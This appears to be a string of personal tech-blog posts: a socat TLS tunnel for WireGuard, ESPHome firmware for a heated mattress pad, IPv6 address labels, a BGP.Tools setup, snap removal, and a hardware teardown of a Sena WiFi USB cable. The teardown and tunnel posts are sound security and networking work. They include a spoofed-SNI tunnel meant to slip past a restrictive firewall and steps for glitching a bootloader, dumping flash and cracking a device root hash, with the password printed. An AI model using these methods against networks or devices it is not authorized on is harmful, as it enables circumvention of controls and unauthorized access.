Creating a SSL Certificate

The server will need a TLS certificate to use for the TLS connection. Since the SNI information will be fake and the tunneled UDP connection will verify server/client keys, the security of this certificate does not matter too much. But be sure to replace the subj parameters with the desired values.

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname"

Keep the key.pem and cert.pem files safe for use with socat.

Socat Server

The socat server is what listens for inbound TLS connections and forwards the tunneled UDP traffic to the desired host.

Set the following variables:

• UDP_DEST - Destination host to relay UDP packets to. This will be the address of the WireGuard Server.
• UDP_DEST_PORT - Destination port for UDP packets. Often 51820 for WireGuard.

socat -d \
  OPENSSL-LISTEN:443,fork,reuseaddr,keepalive,cert="cert.pem",key="key.pem",verify=0,su=nobody,nodelay \
  UDP-SENDTO:"$UDP_DEST:$UDP_DEST_PORT"

Client

The client is made up of the socat client and WireGuard client which connects to the server through the socat tunnel.

Socat Client

The socat client runs on the client device on the restricted network. It connects to the socat server establishing a TLS connection with a fake SNI domain to trick the firewall to allow the traffic.

Set the following variables:

• SERVER - The IP or hostname of the server that runs the socat listener.
• SNI_DOMAIN - The domain to fake traffic to. Set this to an allowed domain to appear in the SNI field of the ClientHello packet.
• UDP_LISTEN_PORT - UDP port to listen on locally for traffic to relay. Set so something like 51820 if using WireGuard.

socat -d -t10 -T10 \
  UDP4-LISTEN:"$UDP_LISTEN_PORT",fork,bind=127.0.0.1 \
  OPENSSL:"$SERVER":443,verify=0,snihost="$SNI_DOMAIN",keepalive,nodelay

Remove bind=127.0.0.1 to have the socat client listen for UDP traffic on all interfaces.

Optionally, socat can verify the server’s certificate, but that is outside the scope of this post and not needed if the tunneled connection does the verification, which is the case for WireGuard.

WireGuard Client

Set the WireGuard MTU to 1280 to account for the smaller packet size allowed due to the overhead of TLS tunneling.

Traffic destined to the socat SERVER will need to be routed directly and not over the WireGuard interface. This can be achieved by setting the AllowedIPs in the WireGuard config to exclude the IP of the socat server. If the socat client is on a different host than the WireGuard client, the socat client’s IP will need to be excluded from AllowedIPs as well.

Tools like the WireGuard AllowedIPs Calculator can generate the AllowedIPs section of the WireGuard config to exclude a few select IPs and route everything else through the tunnel.

Results

Tunnel Speedtest:

Normal Speedtest:

It’s not pretty, but it works.

EDIT 2025-05-28: Added information for testing with curl and WireGuard AllowedIPs.

I purchased a Sunbeam Heated Mattress Pad for those cold winter nights. The mattress pad controller connects to WiFi and has a remote control app. However, it has a safety feature that limits functionality. The app can only adjust heat levels and turn the pad off unless you’ve recently pressed a physical button on the controller, effectively limiting the app to changing heat levels and turning the device off.

I wondered about the usefulness of an app to control your bed temperature when you’re already lying next to the controller’s ON button. But I suppose some people prefer using their phone, which is likely already in hand, rather than reaching for a button on the nightstand.

Local Control

For better security and privacy, I explored ways to control the heated mattress pad through my Home Assistant instance.

The controller uses the Tuya IoT platform, which can integrate with Home Assistant through the unofficial LocalTuya integration. While setup required registering with the Tuya API and initially connecting the device to the Internet, once configured, I could firewall the controller from the Internet while maintaining full control through Home Assistant. This solution worked well for a while.

Custom Firmware

I eventually wanted more comprehensive local control and the ability to fully integrate the device with my other Home Assistant automations. For example, preheating the bed at bedtime when the outside temperature drops below a certain point. This meant bypassing the physical button restriction. I also wanted to remove my reliance on the unofficial LocalTuya integration and use a native integration.

Enter ESPHome, an open source firmware for embedded devices (primarily ESP32 chips, though others are supported) that integrates natively with Home Assistant.

Tuya Architecture

Tuya devices use a two-part system: a main MCU handling device functionality and a separate chip managing WiFi/Bluetooth and cloud operations. These chips communicate via a UART serial protocol.

The mattress pad’s radio MCU is the WBR3. It contains a RTL8720CF chip and supports some third-party firmware through LibreTiny, but not native ESPHome support yet. This meant physically replacing the radio module with an ESPHome-compatible one will be required. While others have replaced Tuya radios before, each device presents unique challenges.

Fortunately, the ESP-12 has an almost identical pinout to the WBR3, making it a suitable replacement. Despite its name, the ESP-12 is actually an ESP8266 chip.

Initial ESP-12 Flashing

The bare ESP-12 lacks common dev-board features like a USB port, USB-to-Serial chip, boot button, or power regulator. Initial programming requires a specific wiring configuration to a serial adapter, though subsequent updates can be done wirelessly via OTA.

Here’s the required wiring for the initial programming over UART:

[ESP]     [UART]
TX  ------ RX
RX  ------ TX
EN  ------ RTS
GPIO0 ---- DTR
GPIO15 --- GND
GND ------ GND
VCC ------ 3.3v

GPIO15 needs to be pulled to ground for normal operations and for serial programming. So I permanently bridged GPIO15 to the neighboring GND pin.

After connecting the ESP-12 to my USB UART adapter, I flashed a basic minimal ESPHome configuration to enable network connectivity and OTA updates.

Adding the ESP Radio

Even though the ESP-12 is pin compatible with the WBR3, and can be replaced directly with it, I decided to keep the original Tuya module just in case it was ever needed in the future, and more importantly, remove the risk of breaking something in the desoldering process.

To disable the WBR3 without removing it, I grounded its EN (enable) pin, keeping the WBR3 permanently off and preventing conflicts with the ESP-12 when communicating over the now shared UART.

I then connected the ESP-12 to the UART Tx, Rx, 3.3v, GND, and added a connection from GPIO5 to the presence button on the control panel.

The ESP-12 now effectively replaces the WBR3, handling all UART communication and drawing power from the WBR3’s voltage regulator. As a bonus, it can simulate physical button presses via the GPIO line, bypassing the presence check requirement.

Finally, I secured the new ESP-12 by hot-gluing it directly over the disabled WBR3.

ESPHome Configuration

ESPHome includes a component for the Tuya UART protocol. I just needed to identify the correct data point numbers and types. Fortunately, these matched the data points already used by the LocalTuya integration, and are documented in this Home Assistant Community thread.

To automatically bypass the physical button requirement, I programmed ESPHome to toggle GPIO5, simulating a button press before activating the mattress pad. I also simplified the interface by replacing Tuya’s drop-down menus with more intuitive controls in Home Assistant, such as using a slider for heat levels instead of select menus.

You can view my ESPHome configuration below.

Code

substitutions:
  node_name: mattress

esphome:
  name: ${node_name}
  friendly_name: Mattress

esp8266:
    board: esp12e # the board is a ESP-12F, but this is close enough

wifi:
  ssid: !secret wifi_name
  password: !secret wifi_password
  ap:
    ssid: ${node_name} AP
    password: !secret hotspot_password

# fallback mechanism for when connecting to the configured WiFi fails.
captive_portal:

# Enable Home Assistant API
api:
  encryption:
    key: !secret api_encryption_key

ota:
  - platform: esphome
    password: !secret ota_password

time:
  - platform: homeassistant
    id: time_hass

logger:
  baud_rate: 0 # (UART logging interferes with tuya)

web_server:
   port: 80
   include_internal: true

status_led:
  pin:
    number: GPIO2
    inverted: true

uart:
  rx_pin: RX #GPIO3
  tx_pin: TX #GPIO1
  baud_rate: 9600

# https://esphome.io/components/tuya
tuya:
  time_id: time_hass

binary_sensor:
  - platform: status
    name: Status

sensor:
  - platform: wifi_signal
    name: WiFi Signal
    update_interval: 10s
    filters:
      - throttle_average: 60s

  # node uptime sensor
  - platform: uptime
    name: Boot Time
    id: uptime_sensor
    icon: mdi:clock-start
    type: timestamp

  - platform: "tuya"
    name: Side A Auto Off Timer
    sensor_datapoint: 28
    icon: mdi:timer-stop-outline
    entity_category: diagnostic
    unit_of_measurement: seconds

  - platform: "tuya"
    name: Side B Auto Off Timer
    sensor_datapoint: 29
    icon: mdi:timer-stop-outline
    entity_category: diagnostic
    unit_of_measurement: seconds


switch:
# Master
  - platform: "tuya"
    id: master_power_sw
    switch_datapoint: 1
    restore_mode: DISABLED
    internal: true
    on_turn_off:
      - switch.turn_off: master_preheat_sw

  - platform: template
    name: "Master Power"
    icon: mdi:car-seat-heater
    lambda: |-
      return id(master_power_sw).state;
    turn_on_action:
      - switch.turn_on: activity_btn
      - delay: 0.5s
      - switch.turn_on: master_power_sw
    turn_off_action:
      - switch.turn_off: master_power_sw

  - platform: "tuya"
    name: "Master Preheat Power"
    switch_datapoint: 8
    icon: mdi:fire
    id: master_preheat_sw
    restore_mode: DISABLED

# Side A
  - platform: "tuya"
    id: side_a_power_sw
    switch_datapoint: 14
    restore_mode: DISABLED
    internal: true
    on_turn_off:
      - switch.turn_off: side_a_preheat_sw

  - platform: template
    name: "Side A Power"
    icon: mdi:car-seat-heater
    lambda: |-
      return id(side_a_power_sw).state;
    turn_on_action:
      - switch.turn_on: activity_btn
      - delay: 0.5s
      - switch.turn_on: side_a_power_sw
    turn_off_action:
      - switch.turn_off: side_a_power_sw

  - platform: "tuya"
    name: "Side A Preheat"
    switch_datapoint: 24
    icon: mdi:fire
    restore_mode: DISABLED
    id: side_a_preheat_sw

# Side B
  - platform: "tuya"
    id: side_b_power_sw
    switch_datapoint: 15
    restore_mode: DISABLED
    internal: true
    on_turn_off:
      - switch.turn_off: side_b_preheat_sw

  - platform: template
    name: "Side B Power"
    icon: mdi:car-seat-heater
    lambda: |-
      return id(side_b_power_sw).state;
    turn_on_action:
      - switch.turn_on: activity_btn
      - delay: 0.5s
      - switch.turn_on: side_b_power_sw
    turn_off_action:
      - switch.turn_off: side_b_power_sw

  - platform: "tuya"
    name: "Side B Preheat"
    switch_datapoint: 25
    icon: mdi:fire
    restore_mode: DISABLED
    id: side_b_preheat_sw

  - platform: gpio
    pin:
      number: GPIO5
      inverted: true
    id: activity_btn
    name: "Activity Button"
    entity_category: diagnostic
    internal: true
    on_turn_on:
    - delay: 500ms
    - switch.turn_off: activity_btn


number:
  - platform: template
    name: "Side A Level"
    id: side_a_level
    step: 1
    min_value: 1
    max_value: 10
    update_interval: never
    entity_category: config
    icon: mdi:thermometer
    lambda: |-
      return std::stoi(id(side_a_level_int).state.substr(6));
    set_action:
      then:
        - select.set:
            id: side_a_level_int
            option: !lambda return "Level " + std::to_string(int(x));

  - platform: template
    name: "Side B Level"
    id: side_b_level
    step: 1
    min_value: 1
    max_value: 10
    update_interval: never
    entity_category: config
    icon: mdi:thermometer
    lambda: |-
      return std::stoi(id(side_b_level_int).state.substr(6));
    set_action:
      then:
        - select.set:
            id: side_b_level_int
            option: !lambda return "Level " + std::to_string(int(x));

  - platform: template
    name: "Master Heat Level"
    id: master_level
    step: 1
    min_value: 1
    max_value: 10
    update_interval: never
    entity_category: config
    icon: mdi:thermometer
    lambda: |-
      return std::stoi(id(master_level_int).state.substr(6));
    set_action:
      then:
        - select.set:
            id: master_level_int
            option: !lambda return "Level " + std::to_string(int(x));


select:
  - platform: "tuya"
    entity_category: config
    id: master_level_int
    enum_datapoint: 4
    internal: true
    options:
      0: "Level 1" # L
      1: "Level 2"
      2: "Level 3"
      3: "Level 4"
      4: "Level 5"
      5: "Level 6"
      6: "Level 7"
      7: "Level 8"
      8: "Level 9"
      9: "Level 10" # H
    on_value:
      then:
        - component.update: master_level

  - platform: "tuya"
    entity_category: config
    id: side_a_level_int
    enum_datapoint: 20
    internal: true
    options:
      0: "Level 1" # L
      1: "Level 2"
      2: "Level 3"
      3: "Level 4"
      4: "Level 5"
      5: "Level 6"
      6: "Level 7"
      7: "Level 8"
      8: "Level 9"
      9: "Level 10" # H
    on_value:
      then:
        - component.update: side_a_level

  - platform: "tuya"
    entity_category: config
    id: side_b_level_int
    internal: true
    enum_datapoint: 21
    options:
      0: "Level 1" # L
      1: "Level 2"
      2: "Level 3"
      3: "Level 4"
      4: "Level 5"
      5: "Level 6"
      6: "Level 7"
      7: "Level 8"
      8: "Level 9"
      9: "Level 10" # H
    on_value:
      then:
        - component.update: side_b_level

  - platform: "tuya"
    entity_category: config
    name: "Side A Set Timer"
    enum_datapoint: 26
    icon: mdi:timer
    options:
      0: 0.5 hours
      1: 1 hour
      2: 1.5 hours
      3: 2 hours
      4: 2.5 hours
      5: 3 hours
      6: 3.5 hours
      7: 4 hours
      8: 4.5 hours
      9: 5 hours
      10: 5.5 hours
      11: 6 hours
      12: 6.5 hours
      13: 7 hours
      14: 7.5 hours
      15: 8 hours
      16: 8.5 hours
      17: 9 hours
      18: 9.5 hours
      19: 10 hours
      20: 24 hours

  - platform: "tuya"
    entity_category: config
    name: "Side B Set Timer"
    enum_datapoint: 27
    icon: mdi:timer
    options:
      0: 0.5 hours
      1: 1 hour
      2: 1.5 hours
      3: 2 hours
      4: 2.5 hours
      5: 3 hours
      6: 3.5 hours
      7: 4 hours
      8: 4.5 hours
      9: 5 hours
      10: 5.5 hours
      11: 6 hours
      12: 6.5 hours
      13: 7 hours
      14: 7.5 hours
      15: 8 hours
      16: 8.5 hours
      17: 9 hours
      18: 9.5 hours
      19: 10 hours
      20: 24 hours


text_sensor:
  # version sensor
  - platform: version
    name: Firmware Version
    hide_timestamp: False
    id: version_txt
    
    # wifi info
  - platform: wifi_info
    ip_address:
      name: IP Address
      entity_category: diagnostic
    mac_address:
      name: MAC Address
      entity_category: diagnostic

    
button:
  - platform: restart
    name: Restart
    id: restart_btn

type: custom:vertical-stack-in-card
cards:
  - type: conditional
    conditions:
      - entity: switch.mattress_master_power
        state: "on"
    card:
      type: button
      show_name: true
      show_icon: true
      entity: switch.mattress_master_power
      icon: mdi:car-seat-heater
      show_state: true
      name: Bed Power
  - type: conditional
    conditions:
      - entity: switch.mattress_master_power
        state_not: "on"
    card:
      type: button
      show_name: true
      show_icon: true
      tap_action:
        action: call-service
        service: script.warm_bed
        service_data: {}
        target: {}
      icon: mdi:car-seat-heater
      show_state: true
      name: Preheat Bed
  - type: custom:collapsable-cards
    title: Details
    cards:
      - type: entities
        entities:
          - entity: switch.mattress_master_power
            name: Power
            icon: mdi:radiator
          - entity: number.mattress_master_heat_level
            name: Level
          - entity: switch.mattress_master_preheat_power
            name: Preheat
            icon: mdi:fire
        state_color: true
        show_header_toggle: false
      - type: custom:vertical-stack-in-card
        horizontal: true
        cards:
          - type: entities
            entities:
              - entity: switch.mattress_side_a_power
                name: A
                icon: mdi:radiator
                secondary_info: none
              - entity: number.mattress_side_a_level
                name: Level
              - entity: switch.mattress_side_a_preheat
                name: Preheat
                icon: mdi:fire
              - entity: select.mattress_side_a_set_timer
                name: Timer
                icon: mdi:clock-edit
            show_header_toggle: false
            state_color: true
          - type: entities
            entities:
              - entity: switch.mattress_side_b_power
                name: B
                icon: mdi:radiator
                secondary_info: none
              - entity: number.mattress_side_b_level
                name: Level
              - entity: switch.mattress_side_b_preheat
                name: Preheat
                icon: mdi:fire
              - entity: select.mattress_side_b_set_timer
                name: Timer
                icon: mdi:clock-edit
            show_header_toggle: false
            state_color: true

What is Source Address Selection?

When a host with multiple routable IP addresses sends a packet to another host, it needs to determine which of its local addresses to use as the source “from” address.

Hosts having multiple routable local addresses was not very common with IPv4, but it is becoming increasingly more common with IPv6. Especially if there are multiple Router-Advertised subnets and SLAAC addresses bound to the same host, either on the same interface or different interfaces.

RFC 6724 Rules

Unless manually specified, the source address for a packet is determined by the host’s OS. The method for determining a source address is outlined in RFC 6724 and should be consistent across all platforms.

Below are the rules outlined in RFC 6724. The specifics of each rule are beyond the scope of this post. See the RFC for more details. Suffice to say the defaults are good (ex: respond to traffic with the same IP it was sent to) but there are cases there you will want to override the defaults.

1. Prefer same address.
2. Prefer appropriate scope.
3. Avoid deprecated addresses.
4. Prefer home addresses.
5. Prefer outgoing interface.
6. Prefer matching label.
7. Prefer privacy addresses.
8. Use longest matching prefix.

Why Override Source Address Selection?

Why is this important if the routing table is correct and the defaults work?

Here are a few examples:

1. If a host has multiple routable IP addresses, and sends traffic to another host behind a firewall that only allows one source address through. The default source address selection should be overridden to ensure all traffic destined to the firewalled host uses the correct source address to ensure it is not blocked.
2. If a host is on multiple networks, or dual-homed such as a router, with a statically routed IP or subnet, the host will ensure that any traffic destined to or from the statically routed IP/subnet uses the correct interface.
   1. Ex: You have a server with multiple uplinks and two IP addresses. Your primary dynamically routed address is 5.5.5.5 and is routable from every interface and secondary address is in the statically routed subnet 3.3.3.1/24 routable from only a single uplink. If the default source address selection outlined in RFC 6724 decides to use 3.3.3.1/24 as the default source address, your outgoing traffic may be sent from the statically routed source address to a peer/gateway that only accepts the dynamically routed address. This packet would likely be dropped on a well configured network that implemented BCP38 route filtering.

Overriding source address selection in Linux

Rule 6 “Prefer matching label” from the above routing source address selection rules can be influenced by custom IP address labels table. By adding to this table it is possible to influence the source address selection used.

The address label tables works as a simple lookup table. For each new outgoing connection the IP address label table is searched for the destination address to find a matching label. If there are multiple matches, the most specific match is used. Once found, the same table is then searched for all possible source addresses with a matching label. If one is found, that address is used as the source address.

The label values are numeric, but they have no ranking or purpose other than being a unique value to compare to other labels for equality. A label of 27 is not any more or less significant than a label of 42.

To view the current source address selection table, run: ip addrlabel list.

Example:

$ ip addrlabel list
prefix ::1/128 label 0 
prefix ::/96 label 3 
prefix ::ffff:0.0.0.0/96 label 4 
prefix 2001::/32 label 6 
prefix 2001:10::/28 label 7 
prefix 3ffe::/16 label 12 
prefix 2002::/16 label 2 
prefix fec0::/10 label 11 
prefix fc00::/7 label 5 
prefix ::/0 label 1

A new address label can be added to the table with:

ip addrlabel add prefix $PREFIX dev $IFACE label $LABEL

The dev $IFACE portion is not required. But it is a good idea to be specific and force the label entry to a particular device.

Example

Lets say you have a host with the IPv6 addresses 2001:0DB8:AAAA::2/64 and 2001:0DB8:BBBB::2/64. All traffic egressing from this host should use the source IP 2001:0DB8:AAAA::2 except traffic destined for anything in the subnet 2001:0DB8:FOO:BAR::/64 which should use 2001:0DB8:BBBB::2. This can be forced by adding the following IP address labels:

# set the specific case with label 42
ip addrlabel add prefix 2001:0DB8:FOO:BAR::/64 label 42
ip addrlabel add prefix 2001:0DB8:BBBB::2 label 42

# set the default case with label 99
# The following are actually not needed but included for completeness.
# the prior rules will take the addresses with label 42 out of
# the pool of matching addresses using the default labels.
ip addrlabel add prefix ::/0 label 99
ip addrlabel add prefix 2001:0DB8:AAAA::2 label 99

In this example the labels 99 and 42 are used. But they are arbitrary and can be any number not already in use by an existing address label.

Exclude an Address from the List of Possible Defaults to Select

Sometimes a system may have multiple addresses, and you may just want to exclude an address from the list of possible defaults from the OS to choose from. For this particular case you only need to add the address to the address list table with a label that is not already in use.

Since the address will not have any other matching addresses or networks in the table with the same label, it won’t match anything, and any other address will take prescience.

The following can be used to remove the address 2001:0DB8:BBBB::2 from the host’s default address selection if we want all traffic to use another source address (assuming no other rules change this)

ip addrlabel add prefix 2001:0DB8:BBBB::2 label 32

Set Source Address Rules Address Labels at Boot in Debian

Once the address labels are added, they will take effect immediately. However they are not persistent and will be lost on reboot. On Debian based systems a post-up hook can be used to add the rule automatically once the parent interface is brought online. Rules associated with an interface are automatically removed when that interface disappears.

In /etc/network/interfaces or /etc/network/interfaces.d/INTERFACE_CONFIG if you have a per-interface config, set your ip addrlabel add ... command in the post-up section of the stanza for the desired interface. The variable $IFACE can be used as a placeholder for the current interface name.

Example:

iface eno1 inet6 static
  address 2001:0DB8:AAAA::2/64
  gateway 2001:0DB8:AAAA::1

iface eno1 inet6 static
  address 2001:0DB8:BBBB::2/64
  #set high label (42) to not conflict with existing label
  post-up ip addrlabel add prefix 2001:0DB8:BBBB::0/64 dev $IFACE label 42 || true
  post-up ip addrlabel add prefix 2001:0DB8:FOO:BAR::/64 dev $IFACE label 42 || true

In this example no address labels are set for the desired default source address 2001:0DB8:AAAA::2. This still works as now the non-default source address has a non-default label, causing it to not be selected for outgoing traffic by default unless another rule matches the address label.

The post-up commands end in || true so that they always return with a 0 exit code. If the command was to fail and return a non-zero exit code, the interface may not finish being brought up by the OS. If this is a server, it is far more important for some of the network to be brought online so that it can be accessed (and fixed) remotely in this case instead of taking itself offline. Adding an address label that already exists will cause an error exit code, but since it already exists, its safe to ignore as it already exists.

More Information

• IPv6 Source Address Selection – what, why, how
• Controlling IPv6 source address selection
• ip-addrlabel - Linux manual page
• Address Resolver & Selection

The application includes URL hash-based message saving, automatic text scaling to fit screens, and responsive design with light/dark mode support. It’s designed for creating dynamic text displays for presentations, signage, or any scenario requiring large-scale scrolling text output.

The deployment uses Docker Compose with a minimal configuration that can be integrated into existing Caddy setups. The proxy handles TLS termination and forwarding for Signal’s messaging infrastructure, requiring only a domain name configuration to operate.

This guide will walk you through setting up a BGP.Tools session with a Mikrotik router running RouterOS 7.

BGP Tools Setup

After logging into your BGP.Tools account, visit the manage peering page and create a new session.

Fill in a name for this BGP session, your AS number, your router’s IP.

Select “Create Session” and make a note of the remote peering IP and AS number.

Mikrotik RouterOS Setup

Route Filters

Before creating the session, create route filters to prevent any unexpected routes from being exchanged. BGP.Tools should never send you routes from this session, but its best to explicitly tell your router to reject all incoming routes just to be safe. Similarly, you don’t want to send bgp.tools blackhole routes either.

/routing filter rule
add chain=reject comment=reject disabled=no rule=reject
add chain=bgp.tools-out disabled=no rule="if (blackhole) {reject}"
add chain=bgp.tools-out disabled=no rule=accept

BGP Session

Now you add the BGP session with bgp.tools.

At this time Mikrotik’s BGP implementation does not support addPath, so only your router’s currently active routes will be sent to bgp.tools.

Unlike a normal BGP session, be sure to select both the ip and ipv6 address families, and enable multihop since this BGP session will be over the Internet and not a LAN.

Be sure to change the examples to use your ASN and IP.

/routing bgp connection
add add-path-out=all address-families=ip,ipv6 as=64496 \
    disabled=no input.affinity=instance .filter=reject \
    local.address=198.51.100.1 .role=ebgp-provider multihop=yes \
    name=bgp.tools output.affinity=input .filter-chain=\
    bgp.tools-out .redistribute=bgp remote.address=\
    185.230.223.77/32 .as=212232 router-id=198.51.100.1 \
    routing-table=main

Save and enable the session once done.

BGP Tools Results

Once the session is enabled and active, you should see it listed on your bgp.tools account home page.

And when you view your AS page you should see Direct Feed added to your ASN’s tags. For example, here is mine.

Now that you send BGP.Tools a BGP feed, your network’s information will be more accurate and you can use other features such as the Looking Glass!

The platform offers various free tools including IP address lookup services, network speed tests, and internet infrastructure services such as RIPE Atlas probes, BGP feeds, Tor nodes, and Signal TLS proxies. TOOR.sh operates on a volunteer basis with a “best effort SLA” and accepts donations of hardware, network resources, or funds to support their mission.

Unfortunately Canonical seems to be pushing Snaps hard, and they are not always wanted. This is made worse by not providing an easy way to remove the snap functionality for Ubuntu.

The commands bellow will entirely remove snap from an Ubuntu installation.

sudo snap remove snap-store
sudo apt remove snapd
sudo umount /dev/loop*
sudo rm -rf /snap
sudo rm -rf /var/snap
sudo rm -rf /var/lib/snapd
sudo rm -rf /etc/systemd/system/snap*
sudo rm -rf /root/snap/ /home/*/snap
sudo apt purge snapd
echo -e 'Package: snapd\nPin: origin *\nPin-Priority: -1' | sudo tee /etc/apt/preferences.d/no_snapd
reboot

sudo apt install firefox

The above commands have been successfully tested and work on Ubuntu 20.04 and 22.04.

The components follow ESPHome’s standard architecture and configuration patterns, allowing them to be easily integrated into existing ESPHome projects through external component references. Each component includes the necessary C++ code and Python configuration validation.

The Go implementation acts as a DNS server that intercepts queries for .local domains and forwards them to the mDNS system, then returns the results via standard DNS responses. This enables seamless local hostname resolution across mixed network environments with Docker deployment support.

With the world on lock-down due to COVID-19, I spent a lot of time last summer escaping the city going on motorcycle rides through the mountains and forests surrounding the bay area. It’s the perfect social distance activity because if you get within 6ft of someone you are likely to crash. One of my favorite motorcycle accessories is my Sena headset. It allows me to listen to navigation or music from my phone over Bluetooth while riding, and talk to other riders in my group.

I was in the market for a new headset and Sena had just released the Sena 50R. It has USB-C, mesh, Bluetooth 5, voice activated assistant, and a built in FM radio. A huge upgrade from my older SMH10R.

The 50R is meant to be controlled via a companion app that allows the user to change the settings. The USB-C port is used for charging and firmware updates. The 50R comes with a WiFi Adapter cable to simultaneously charge the headset and install any available firmware updates.

This WiFi Adapter cable is actually a USB-C cable with a WiFi enabled computer inside the cable. This sounds a lot like the COTTONMOUTH implant from the NSA ANT catalog, but much cheaper.

To use the WiFi cable, after plugging it in and waiting for it to boot, it creates its own WiFi access point, which the app connects to allowing the user to configure the cable to connect to their home’s WiFi network. Now every time a headset is plugged into the USB-C end of the cable, it will check for firmware updates and install them.

Sena must really want everyone to have up to date firmware to build a WiFi enabled firmware updating computer inside of a USB cable.

Security Assessment

Being the curious security minded person that I am, I decided to investigate this computer inside my new USB cable.

Physical Assessment

Removing 4 screws and disconnecting the USB upstream and downstream cables is all it takes to see the internal components.

The main SOC (System On Chip) is a SONiX SN98600 containing an ARM9 CPU and 64MB of RAM. There is a 16MB Winbond 25Q128JVP0 SPI flash storage chip, and a Realtek RTL8188EU WiFi interface.

There are some test points, three of which are conveniently labeled GND, TX, and RX. Which looks like a lot like UART! Connecting these test points to a logic analyzer and monitoring the signals while applying power confirms that it is an async serial configured for 115200 8N1.

Monitoring the UART while rebooting reveals that the device is using the U-BOOT boot loader to boot Linux kernel 2.6.35.12. While the Linux kernel boots, the boot logs provide more details on the hardware and its configuration on the device and then drops to a login prompt.

Dumping the Flash

In order to dump the contents of the SPI flash chip to better examine the system’s file-system there are two options.

1. Connect the SPI flash chip to a device that speaks SPI like the FT232H and use the flashrom tool to dump the contents.
2. Find a way to read and dump the flash contents from within the device.

The first option is cleaner and is my preferred method. I connected GND, MISO, MOSI, CS, CLK, and 3.3 VCC to my SPI dumper and tried to identify the chip with flashrom -p ft2232_spi:type=232h --flash-name. However providing power to the SPI chip also supplied power to the main SOC and other components on the board causing them to boot and also send commands to the SPI flash, making a clean read impossible. I could have desoldered the chip and read it without powering the rest of the device, but that runs the risk that I might physically damage something in the process, so I decided to give the second option a try.

I did not know any valid logins to get past the Linux login prompt (I tried a lot of the common defaults), but what about the boot loader? The U-BOOT boot loader was configured to immediately start the Linux kernel after loading. My colleague Matthew Garrett proposed an ingenious idea, glitch U-BOOT into dropping to a shell. The idea is that after U-BOOT itself loads, it loads the Linux kernel from the SPI flash into RAM, and then boots it. If this process can be tricked into erroring then then it may drop to an interactive U-BOOT shell. This can be accomplished by interfering with the SPI MISO signal while U-BOOT is loading the kernel so that it loads a corrupt kernel and is unable to boot it. I did this by watching the console output and shorting the SPI MISO to ground very briefly while it was loading the kernel image. This took a few tries to get right, but it did result in U-BOOT entering an interactive shell.

U-BOOT can be compiled to include different utilities or commands to get the system booting. This version included the following two commands of interest:

spi read  addr offset len  - read  'len' bytes starting at 'offset' to memory at 'addr'
md [.b, .w, .l] address [# of objects]

• spi read reads data from the SPI chip into memory at a specified location.
• md displays the contents of memory at the provided location in a hexdump like format.

I could tell from the boot logs that the Linux kernel is loaded into memory starting at address 0x00008000 so that address should be safe to load flash data to, and the entire flash is 16M, which is 0x1000000 byes in hex.

Using these two commands it is possible to load all of the flash to memory and then dump it over the UART. I used screen -L as the serial console so that all of the UART results would be saved to a file.

screen -L /dev/ttyUSB0 115200
spi read 0x00008000 0 0x1000000
md 0x00008000 1000000

The spi read operation took about one second to complete, however due to the inefficiency of loading 16M of data in hexdump format over a 115200 baud connection the md operation took the better part of a day. Reading the SPI chip directly would have been much faster, but I did not want to risk it.

Once the dump finishes xxd can be used to convert it from the hexdump format to binary.

xxd -r hexdump.txt flash.bin

Since the md command started at offset 0x8000, xxd will prepend nulls (0x00) to the file to make the offsets align. dd can be used to trim the extra data added for the memory offsets leaving just the flash data with the correct offsets.

dd if=flash.bin of=flash_trim.bin bs=1 skip=$((0x8000))

Since the flash was dumped from RAM, it needs to be converted from big-endian to little-endian. This can be done with objcopy.

objcopy -I binary -O binary --reverse-bytes=4 flash_trim.bin sena_wifi.bin

The boot logs contain the partition table, which can be used to extract the individual partitions on the flash.

hw-setting=0x00000000 0x00000FFF
u-boot=0x00003000 0x0007DFFF
u-env=0x0007E000 0x0007E000
flash-layout=0x0007F000 0x0007FFFF
factory=0x00080000 0x000BFFFF
kernel=0x000C0000 0x003BFFFF
rootfs-r=0x003C0000 0x00ABFFFF
rootfs-app=0x00ABFFFF 0x00ABFFFF
rootfs-rw =0x00EC0000 0x00FBFFFF
user=0x00FC0000 0x00FFFFFF
u-logo=0x00FFFFFF 0x00FFFFFF
rescue=0x00AC0000 0x00EBFFFF

dd if=sena_wifi.bin of=hw_setting.bin bs=1 skip=$((0x00000000)) count=$((0x00000FFF-0x00000000))
dd if=sena_wifi.bin of=u-boot.bin bs=1 skip=$((0x00003000)) count=$((0x0007DFFF-0x00003000))
dd if=sena_wifi.bin of=u-env.bin bs=1 skip=$((0x0007E000)) count=$((0x0007E000-0x0007E000))
dd if=sena_wifi.bin of=flash-layout.bin bs=1 skip=$((0x0007F000)) count=$((0x0007FFFF-0x0007F000))
dd if=sena_wifi.bin of=factory.bin bs=1 skip=$((0x00080000)) count=$((0x000BFFFF-0x00080000))
dd if=sena_wifi.bin of=kernel.bin bs=1 skip=$((0x000C0000)) count=$((0x003BFFFF-0x000C0000))
dd if=sena_wifi.bin of=rootfs-r.bin bs=1 skip=$((0x003C0000)) count=$((0x00ABFFFF-0x003C0000))
dd if=sena_wifi.bin of=rootfs-app.bin bs=1 skip=$((0x00ABFFFF)) count=$((0x00ABFFFF-0x00ABFFFF))
dd if=sena_wifi.bin of=rootfs-rw.bin bs=1 skip=$((0x00EC0000)) count=$((0x00FBFFFF-0x00EC0000))
dd if=sena_wifi.bin of=user.bin bs=1 skip=$((0x00FC0000)) count=$((0x00FFFFFF-0x00FC0000))
dd if=sena_wifi.bin of=u-logo.bin bs=1 skip=$((0x00FFFFFF)) count=$((0x00FFFFFF-0x00FFFFFF))
dd if=sena_wifi.bin of=rescue.bin bs=1 skip=$((0x00AC0000)) count=$((0x00EBFFFF-0x00AC0000))

With the individual partitions extracted they can be explored with tools like file, strings, Binwalk, or mounted on another Linux system. The rootfs-r and rootfs-rw seem to the the only partitions with real file-systems and can be mounted locally with the following commands.

mount -t cramfs -o loop,ro rootfs-r.bin rootfs-r/
modprobe mtdblock
dd if=rootfs-rw.bin of=/dev/mtdblock0
mount -t jffs2 -o ro /dev/mtdblock0 rootfs-rw/

Now the file-systems can be explored locally.

Passwords

There are two /etc/shadow files, one on rootfs-r and another on rootfs-rw. One is mounted over the other during boot. The root password from rootfs-r was hashed with md5crypt which the online service OnlineHashCrack.com was able to crack for free revealing it was 1234. However this password did not work for the UART Linux login prompt, meaning the rootfs-rw partition is likely mounted over it.

